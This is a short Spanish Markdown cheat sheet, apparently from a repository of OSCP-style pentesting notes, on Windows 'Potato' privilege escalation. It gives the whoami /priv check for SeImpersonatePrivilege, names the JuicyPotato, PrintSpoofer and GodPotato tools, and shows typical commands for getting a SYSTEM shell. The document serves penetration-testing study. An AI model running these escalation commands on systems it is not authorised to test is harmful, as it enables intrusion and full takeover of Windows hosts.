7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
24 lines
668 B
Markdown
24 lines
668 B
Markdown
# Potato attacks
|
|
|
|
> Cuando `whoami /priv` muestra **SeImpersonatePrivilege** o **SeAssignPrimaryTokenPrivilege** → abuso de token a **NT AUTHORITY\SYSTEM**.
|
|
|
|
## El gatillo
|
|
```
|
|
whoami /priv → busca SeImpersonatePrivilege = Enabled
|
|
```
|
|
Típico en cuentas de servicio (IIS, MSSQL `sa`, etc.).
|
|
|
|
## La familia
|
|
```
|
|
JuicyPotato → Windows antiguos
|
|
PrintSpoofer → Windows 10/Server 2016-2019 (servicio de impresión)
|
|
GodPotato → moderno, muy fiable hoy
|
|
RoguePotato / RottenPotato → variantes
|
|
```
|
|
|
|
## Uso típico (GodPotato/PrintSpoofer)
|
|
```
|
|
GodPotato.exe -cmd "cmd /c whoami"
|
|
PrintSpoofer.exe -i -c cmd
|
|
```
|
|
Subes el .exe con Transferencia de ficheros.
|